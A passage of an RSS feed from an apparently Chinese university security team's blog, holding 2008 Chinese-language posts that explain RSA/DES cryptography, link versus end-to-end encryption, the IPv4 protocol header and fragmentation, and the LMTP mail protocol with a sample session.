正是基于这种理论，1978年出现了著名的RSA算法。这种算法为公用网络上信息的加密和鉴别提供了一种基本的方法。它通常是先生成一对 RSA 密钥，其中之一是保密密钥，由用户保存；另一个为公开密钥，可对外公开，甚至可在网络服务器中注册。为提高保密强度，RSA密钥至少为500位长，一般推 荐使用1024位。这就使加密的计算量很大。为减少计算量，在传送信息时，常采用传统加密方法与公开密钥加密方法相结合的方式，即信息采用改进的DES或 IDEA对话密钥加密，然后使用RSA密钥加密对话密钥和信息摘要。对方收到信息后，用不同的密钥解密并可核对信息摘要。
RSA算法的加密密钥和加密算法分开，使得密钥分配更为方便。它特别符合计算机网络环境。对于网上的大量用户，可以将加密密钥用电话簿的方 式印出。如果某用户想与另一用户进行保密通信，只需从公钥簿上查出对方的加密密钥，用它对所传送的信息加密发出即可。对方收到信息后，用仅为自己所知的解 密密钥将信息脱密，了解报文的内容。由此可看出，RSA算法解决了大量网络用户密钥管理的难题。
RSA并不能替代DES，它们的优缺点正好互补。 RSA的密钥很长，加密速度慢，而采用DES，正好弥补了RSA的缺点。即DES用于明文加密，RSA用于DES密钥的加密。由于DES加密速度快，适合 加密较长的报文；而RSA可解决DES密钥分配的问题。美国的保密增强邮件（PEM）就是采用了RSA 和DES结合的方法，目前已成为E-MAIL保密通信标准。
四、局域网通信安全措施
对于局域网通信，可采用以下两种具体措施进行加密传输。这些措施的加、解密功能都可以采用上述算法实现：
（1）链路加密
链路加密是传输数据仅在物理层前的数据链路层进行加密。接收方是传送路径上的各台节点机，信息在每台节点机内都要被解密和再加密，依次进行，直至到达目的地。
使用链路加密装置能为某链路上的所有报文提供传输服务。即经过一台节点机的所有网络信息传输均需加、解密，每一个经过的节点都必须有密码装 置，以便解密、加密报文。如果报文仅在一部分链路上加密而在另一部分链路上不加密，则相当于未加密，仍然是不安全的。与链路加密类似的节点加密方法，是在 节点处采用一个与节点机相连的密码装置（被保护的外围设备）,密文在该装置中被解密并被重新加密，明文不通过节点机，避免了链路加密关节点处易受攻击的缺 点。
（2）端&#8211;端加密
端&#8211;端加密是为数据从一端传送到另一端提供的加密方式。数据在发送端被加密，在最终目的地（接收端）解密，中间节点处不以明文的形式出现。
采用端&#8211;端加密是在应用层完成，即传输前的高层中完成。除报头外的的报文均以密文的形式贯穿于全部传输过程。只是在发送端和最终端才有加、 解密设备，而在中间任何节点报文均不解密，因此，不需要有密码设备。同链路加密相比，可减少密码设备的数量。另一方面，信息是由报头和报文组成的，报文为 要传送的信息，报头为路由选择信息。由于网络传输中要涉及到路由选择，在链路加密时，报文和报头两者均须加密。而在端&#8211;端加密时，由于通道上的每一个中 间节点虽不对报文解密，但为将报文传送到目的地，必须检查路由选择信息，因此，只能加密报文，而不能对报头加密。这样就容易被某些通信分析发觉，而从中获 取某些敏感信息。
（3）加密传输方式的比较
数据保密变换使数据通信更安全，但不能保证在传输过程中绝对不会泄密。因为在传输过程中，还有泄密的隐患。
采用链路加密方式，从起点到终点，要经过许多中间节点，在每个节点地均要暴露明文（节点加密方法除外），如果链路上的某一节点安全防护比较薄 弱，那么按照木桶原理（木桶水量是由最低一块木板决定），虽然采取了加密措施，但整个链路的安全只相当于最薄弱的节点处的安全状况。
采用端&#8211;端加密方式，只是发送方加密报文，接收方解密报文，中间节点不必加、解密，也就不需要密码装置。此外，加密可采用软件实现，使用起 来很方便。在端&#8211;端加密方式下，每对用户之间都存在一条虚拟的保密信道，每对用户应共享密钥（传统密码保密体制，非公钥体制下），所需的密钥总数等于用 户对的数目。对于几个用户，若两两通信，共需密钥n*(n-1)/2种，每个用户需(n-1)种。这个数目将随网上通信用户的增加而增加。为安全起见，每 隔一段时间还要更换密钥，有时甚至只能使用一次密钥，密钥的用量很大。
链路加密，每条物理链路上，不管用户多少，可使用一种密钥。在极限情况下，每个节点都与另外一个单独的节点相连，密钥的数目也只是n*(n-1)/2 种。这里n是节点数而非用户数，一个节点一般有多个用户。
从身份认证的角度看，链路加密只能认证节点，而不是用户。使用节点A密钥的报文仅保证它来自节点A。报文可能来自A的任何用户，也可能来自另 一个路过节点A的用户。因此链路加密不能提供用户鉴别。端&#8211;端加密对用户是可见的，可以看到加密后的结果，起点、终点很明确，可以进行用户认证。
总之，链路加密对用户来说比较容易，使用的密钥较少，而端&#8211;端加密比较灵活，用户可见。对链路加密中各节点安全状况不放心的用户也可使用端&#8211;端加密方式。
]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/74/feed</wfw:commentRss>
		</item>
		<item>
		<title>网络数据加密的三种技术</title>
		<link>http://neucert.neu.edu.cn/archives/73</link>
		<comments>http://neucert.neu.edu.cn/archives/73#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:00:42 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=73</guid>
		<description><![CDATA[ 在常规密码中，收信方和发信方使用相同的密钥，即加密密钥和解密密钥是相同或等价的。比较著名的常规密码算法有：美国的DES及其各种变形，比如 Triple DES、GDES、New DES和DES的前身Lucifer；欧洲的IDEA；日本的FEALN、LOKI91、Skipjack、RC4、RC5以及以代换密码和转轮密码 为代表的古典密码等。在众多的常规密码中影响最大的是DES密码。
常规密码的优点是有很强的保密强度，且经受住时间的检验和攻击，但其密钥必须通过安全的途径传送。因此，其密钥管理成为系统安全的重要因素。
在公钥密码中，收信方和发信方使用的密钥互不相同，而且几乎不可能从加密密钥推导解密密钥。比较著名的公钥密码算法有：RSA、背包密码、 McEliece密码、DiffeHellman、Rabin、OngFiatShamir、零知识证明的算法、椭圆曲线、EIGamal算法等 等。最有影响的公钥密码算法是RSA，它能抵抗到目前为止已知的所有密码攻击。
公钥密码的优点是可以适应网络的开放性要求，且密钥管理问题也较为简单，尤其可方便的实现数字签名和验证。但其算法复杂，加密数据的速率较低。尽管如此，随着现代电子技术和密码技术的发展，公钥密码算法将是一种很有前途的网络安全加密体制。
当然在实际应用中人们通常将常规密码和公钥密码结合在一起使用，比如：利用DES或者IDEA来加密信息，而采用RSA来传递会话密钥。如果 按照每次加密所处理的比特来分类，可以将加密算法分为序列密码和分组密码。前者每次只加密一个比特而后者则先将信息序列分组，每次处理一个组。
密码技术是网络安全最有效的技术之一。一个加密网络，不但可以防止非授权用户的搭线窃听和入网，而且也是对付恶意软件的有效方法之一。
一般的数据加密可以在通信的三个层次来实现:链路加密、节点加密和端到端加密。
链路加密
对于在两个网络节点间的某一次通信链路,链路加密能为网上传输的数据提供安全保证。对于链路加密(又称在线加密),所有消息在被传输之前进行 加密,在每一个节点对接收到的消息进行解密,然后先使用下一个链路的密钥对消息进行加密,再进行传输。在到达目的地之前,一条消息可能要经过许多通信链路 的传输。
由于在每一个中间传输节点消息均被解密后重新进行加密,因此,包括路由信息在内的链路上的所有数据均以密文形式出现。这样,链路加密就掩盖了 被传输消息的源点与终点。由于填充技术的使用以及填充字符在不需要传输数据的情况下就可以进行加密,这使得消息的频率和长度特性得以掩盖,从而可以防止对 通信业务进行分析。
尽管链路加密在计算机网络环境中使用得相当普遍,但它并非没有问题。链路加密通常用在点对点的同步或异步线路上,它要求先对在链路两端的加密设备进行同步,然后使用一种链模式对链路上传输的数据进行加密。这就给网络的性能和可管理性带来了副作用。
在线路/信号经常不通的海外或卫星网络中,链路上的加密设备需要频繁地进行同步,带来的后果是数据丢失或重传。另一方面,即使仅一小部分数据需要进行加密,也会使得所有传输数据被加密。
在一个网络节点,链路加密仅在通信链路上提供安全性,消息以明文形式存在,因此所有节点在物理上必须是安全的,否则就会泄漏明文内容。然而保 证每一个节点的安全性需要较高的费用,为每一个节点提供加密硬件设备和一个安全的物理环境所需要的费用由以下几部分组成:保护节点物理安全的雇员开销,为 确保安全策略和程序的正确执行而进行审计时的费用,以及为防止安全性被破坏时带来损失而参加保险的费用。
在传统的加密算法中,用于解密消息的密钥与用于加密的密钥是相同的,该密钥必须被秘密保存,并按一定规则进行变化。这样,密钥分配在链路加密 系统中就成了一个问题,因为每一个节点必须存储与其相连接的所有链路的加密密钥,这就需要对密钥进行物理传送或者建立专用网络设施。而网络节点地理分布的 广阔性使得这一过程变得复杂,同时增加了密钥连续分配时的费用。
节点加密
尽管节点加密能给网络数据提供较高的安全性,但它在操作方式上与链路加密是类似的:两者均在通信链路上为传输的消息提供安全性;都在中间节点先对消息进行解密,然后进行加密。因为要对所有传输的数据进行加密,所以加密过程对用户是透明的。
然而,与链路加密不同,节点加密不允许消息在网络节点以明文形式存在,它先把收到的消息进行解密,然后采用另一个不同的密钥进行加密,这一过程是在节点上的一个安全模块中进行。
节点加密要求报头和路由信息以明文形式传输,以便中间节点能得到如何处理消息的信息。因此这种方法对于防止攻击者分析通信业务是脆弱的。
端到端加密
端到端加密允许数据在从源点到终点的传输过程中始终以密文形式存在。采用端到端加密(又称脱线加密或包加密),消息在被传输时到达终点之前不进行解密,因为消息在整个传输过程中均受到保护,所以即使有节点被损坏也不会使消息泄露。
端到端加密系统的价格便宜些,并且与链路加密和节点加密相比更可靠,更容易设计、实现和维护。端到端加密还避免了其它加密系统所固有的同步问 题,因为每个报文包均是独立被加密的,所以一个报文包所发生的传输错误不会影响后续的报文包。此外,从用户对安全需求的直觉上讲,端到端加密更自然些。单 个用户可能会选用这种加密方法,以便不影响网络上的其他用户,此方法只需要源和目的节点是保密的即可。
端到端加密系统通常不允许对消息的目的地址进行加密,这是因为每一个消息所经过的节点都要用此地址来确定如何传输消息。由于这种加密方法不能掩盖被传输消息的源点与终点,因此它对于防止攻击者分析通信业务是脆弱的。
]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/73/feed</wfw:commentRss>
		</item>
		<item>
		<title>Internet协议（Internet Protocol）</title>
		<link>http://neucert.neu.edu.cn/archives/72</link>
		<comments>http://neucert.neu.edu.cn/archives/72#comments</comments>
		<pubDate>Sat, 30 Aug 2008 13:00:24 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=72</guid>
		<description><![CDATA[转帖
1. 介绍
1.1. 产生原因
IP协议是用于将多个包交换网络连接起来的，它在源地址和目的地址之前传送一种称之为数据报的东西，它还提供对数据大小的重新组装功能，以适应不同网络对包大小的要求。
1.2. 范围
IP的责任就是把数据从源传送到目的地。它不负责保证传送可靠性，流控制，包顺序和其它对于主机到主机协议来说很普通的服务。
1.3. 接口
这个协议由主机到主机协议调用，而此协议负责调用本地网络协议将数据报传送以下一个网关或目的主机。例如TCP可以调用IP协议，在调用时传送目的地址和源地址作为参数，IP形成数据报并调用本地网络（协议）接口传送数据报。
1.4. 操作
IP实现两个基本功能：寻址和分段。IP可以根据数据报报头中包括的目的地址将数据报传送到目的地址，在此过程中IP负责选择传送的道路，这种选 择道路称为路由功能。如果有些网络内只能传送小数据报，IP可以将数据报重新组装并在报头域内注明。IP模块中包括这些基本功能，这些模块存在于网络中的 每台主机和网关上，而且这些模块（特别在网关上）有路由选择和其它服务功能。对IP来说，数据报之间没有什么联系，对IP不好说什么连接或逻辑链路。
IP使用四个关键技术提供服务：服务类型，生存时间，选项和报头校验码。服务类型指希望得到的服务质量。服务类型是一个参数集，这此参数是 Internet能够提供服务的代表。这种服务类型由网关使用，用于在特定的网络，或是用于下下一个要经过的网络，或是下一个要对这个数据报进行路由的网 关上选择实际的传送参数。生存时间是数据报可以生存的时间上限。它由发送者设置，由经过路由的地方处理。如果未到达时生存时间为零，抛弃此数据报。对于控 制函数来说选项是重要的，但对于通常的通信来说它没有存在的必要。选项包括时间戳，安全和特殊路由。报头校验码保证数据的正确传输。如果校验出错，抛弃整 个数据报。
IP不提供可靠的传输服务，它不提供端到端的或（路由）结点到（路由）结点的确认，对数据没有差错控制，它只使用报头的校验码，它不提供重发和流量控制。如果出错可以通过ICMP报告，ICMP在IP模块中实现。
2. 总览
2.1. 与其它协议的联系
下图显示了IP协议在协议体系中的位置。
IP上下有两个接口，一个是与主机与主机协议的接口，另一个是与本地网络的接口，本地网络可以是小型网络也可以大型网络，说不定的。
2.2. 操作模式
下面的例子可以看到操作的模型是什么。我们假设传输要经过中间网关。传送进程调用本地IP模块传送数据，同时传送目的地址和其它参数作为调用参 数。IP层准备数据报头并把它加在需要传送的数据之前。IP模块为这个网络地址决定一个本地网络地址，在这里就是网关地址。IP传送数据报和本地网络地址 到网络接口。本地网络接口创建一个本地网络头加在数据报上，然后向本地网络发送。
加上本地网络头的数据报到达网关后，本地网络接口去掉这个头，将结果传送给（网关上的）IP模块。这个IP模块决定决定目的主要的本地网络地址， 然后再如上所述的过程传送数据报到本地网络接口。这个本地网络接口创建一个本地网络头加在数据报上，将数据报传送到目的主机。在目的主机上，本地网络接口 去掉数据报上的本地网络头，将结果交给IP模块。IP模块决定数据报应该把数据报向哪一个应用程序传送，系统会发出系统调用，IP模块返回源地址和其它参 数。
2.3. 功能描述
IP的功能就是把数据报在互联的网络上传送，通过将数据报在一个个IP模块间传送直到目的模块来达到目的。网络中每个主机和网关上都有IP模块。 数据报在一个个模块间通过路由处理网络地址传送到目的地址。因此网络地址对于IP协议十分重要。如前所述，因为各个网络上的数据报大小可能不同，因此有必 要对大的数据报进行分段。
寻址
名字，地址和路由是有区别的，名字是我们要找的，地址指出这个名字在什么地方，路由解决如何到那里的问题。IP主要处理地址的问题。把名字和地址进行映射的工作由上层协议完成。IP模块将地址和本地网络地址加以映射，而将本地网络地址和路由进行映射则是低层协议的任务。
地址是32位长，由网络号和本地地址两部分构成。地址有三类：A类的最高位为0，后7位表示网络号，其它的24位表示本地地址；B类前两位为10，后14位表示网络地址，其它16位表示本地地址；C类三位为110，后21位是网络号，其它8位代表本地地址。
在将网络地址和本地网络地址进行映射时必须注意，有些主机可能使用几个不同的IP地址（我们可以把本地网络地址理解为MAC地址）。我们必须能够处理一台主机有几个处理端口，而每个端口都有几个逻辑的IP地址。
分段
对于不同的网络，其中传送的包大小可能不一样，因此把大包分小的功能是必须的。数据报也可以被标记为“不可分段”，如果一个数据报被如何标记了， 那么在任何情况下都不准对它进行分段。如果不分段到不了目的地，那就把包在半路抛弃了。在本地网内进行的重新分段和重组对IP模块是不可见的，这种方法也 可以使用。
本地网分段和重组把重组的各段加上标记，接收方使用这些标记使不同的段区别开来。段偏移量域告诉接收方应该把这一段放在什么地方，多段标记指示最 后一个段，利用不同的域完全可以重组一个数据报。标记域是用于唯一标记数据报的，它是最初的发送方设置，而且要保证数据报在网络传输的全过程中它中唯一 的。最初的发送方把多段标记设置为零，段偏移量设置为零。
我们假设IP模块把一个大数据报分为两个小的，IP模块首先取得数据报头，再分隔数据为两份，将数据报头加在两份数据上。分隔数据时以8个字节为 单位，第二段不一定是8个字节，但第一个必须是。我们把第一段中的8位字节数称为段块数（NFB）。新生成的第一个数据报内是生成的第一段数据，设置多段 标记为1；新生成的第二个数据报内是生成的第二段数据，多段标记等于原来数据报内的值，段偏移量等于原数据报中的值加上NFB。上述过程可以从2扩展至N 的情况。
对段的重组要求以下四个域有相同的值：标记，源地址，目标地址和协议。将不同的数据报根据自己带的偏移量重新组合为新段，第一个段的偏移量为0，最后一个段的多段标记为0。
2.4. 网关
网关在不同网络间传送数据报，网关也实现网关到网关协议（GGP），它用于传送路由和其它控制信息。网关中的高层协议根本不用实现，GGP的功能可以在IP模块内实现。
3. 说明
3.1. Internet包头格式
包头格式如下：
版本：4位
此域标明包头的格式。我们现在说明的是IP版本4。
IHL：4位
Internet包头长度是以32位为单位标记的包头长度，它指向数据的开始位置，这个域的最小合法值为5。
服务类型：8位
它是一些指示服务质量的参数，这些参数用于在特定网络指示所需要的服务。有些网络会提供优先级服务。选择的基本原则是以下三者的权衡：低延时，高可靠和高吞吐量。
0-2: 优先级
3: 0 = 通常延时 1 = 低延时
4: 0 = 通常吞吐量 1 = 高吞吐量
5: 0 = 通常可靠性 1 = 高可靠性
6-7: 保留
优先级的说明如下：
111 - Network [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/72/feed</wfw:commentRss>
		</item>
		<item>
		<title>本地邮件传输协议（Local Mail Transfer Protocol）</title>
		<link>http://neucert.neu.edu.cn/archives/71</link>
		<comments>http://neucert.neu.edu.cn/archives/71#comments</comments>
		<pubDate>Sat, 30 Aug 2008 12:59:57 +0000</pubDate>
		<dc:creator>王宇</dc:creator>
		
		<category><![CDATA[安全主题]]></category>

		<guid isPermaLink="false">http://blog.neu.edu.cn/neucert/?p=71</guid>
		<description><![CDATA[SMTP和SMTP服务扩展（ESMTP）提供了一种高效安全传送电子邮件的方法，而在实现SMTP时需要管理一个邮件传送队列，在有些时候这样做可能有 麻烦，需要一种没有队列的邮件传送系统，而LMTP就是这样的一个系统，它使用ESMTP的语法，而它和ESMTP可不是一回事，而LMTP也不能用于 TCP端口25。
前面已经说到了，SMTP需要管理一个队列，一个邮件操作可以把一封邮件发送向不同的接收者，而一个SMTP命令却只有一个返回码，这就带来的 问题，如果服务器需要把一个邮件发向两个接收者，发送第一个的时候成功了，而发送第二个时候暂时失败了，服务器必须把这封邮件放入队列，以后再发送，而发 送方却不可能知道这一切。SMTP的这种队列机制在最初设计时是为了考虑到转发的需要，但在有些时候，并不需要服务器管理这个队列，而需要由客户进行队列 的管理，我们看一下下面这个例子：
上图中有三个独立的通信系统，三个方框内的就是，第一个是队列管理器，它是一个通常的SMTP服务器，第二个是使用非SMTP协议的邮件系统，邮 件在这个系统内的传送由系统中的服务器来决定，而第三个是将邮件放入到一个邮件池的系统。可能用户希望将SMTP用于本地进程内通信通道，从队列管理器到 传送代理间传送信息。如果需要传输代理管理它们自己的邮件队列就太麻烦了。
将邮件从本地传输代理传向队列管理器时使用LMTP不会有什么好处，但是在队列管理器传送邮件到本地传输代理时使用LMTP却十分有好处，因为这样接收者的邮件分别发送，而一封信件可以得到多个应答，这个应答指示相应的邮件是不是正确发送到接收者了。
LMTP协议与SMTP和ESMTP协议很象，除了本文内说明的一些命令改变外，其它和SMTP都一样。一个成功的RCPT命令被定义为返回确认 完成应答码的RCPT命令。请注意：一般的成功命令都以2开头。为了避免和SMTP和ESMTP服务混淆，LMTP使用LHLO命令开始一个LMTP会 话，它的基本语法和HELO和EHLO命令相同。对于DATA命令来说，如果RCPT命令失败，DATA命令必须返回503，并失败。每个DATA命令碰 到&#8221;.&#8221;时，服务器必须对所有成功的RCPT命令返回应答，这和平常的SMTP系统不同，而且顺序必须和RCPT成功的顺序一致，即使对于同一个向前路径 来说有许多RCPT命令，也必须返回多个成功应答。这就意味着，服务器返回的确认应答是指服务器把邮件地发送到接收者或另一个转发代理，这一点一定要明 确。下面是一个例子：（S代表服务器，C代表客户）
S: 220 foo.edu LMTP server ready //服务器准备好
C: LHLO foo.edu
S: 250-foo.edu
S: 250-PIPELINING
S: 250 SIZE
C: MAIL FROM:
S: 250 OK
C: RCPT TO:
S: 250 OK
C: RCPT TO:
S: 550 No such user here
C: RCPT TO:
S: 250 OK
C: DATA
S: 354 Start mail input; end with . //开始输出邮件内容，以回车，&#8221;.&#8221;和回车结束
C: Blah blah [...]]]></description>
		<wfw:commentRss>http://neucert.neu.edu.cn/archives/71/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
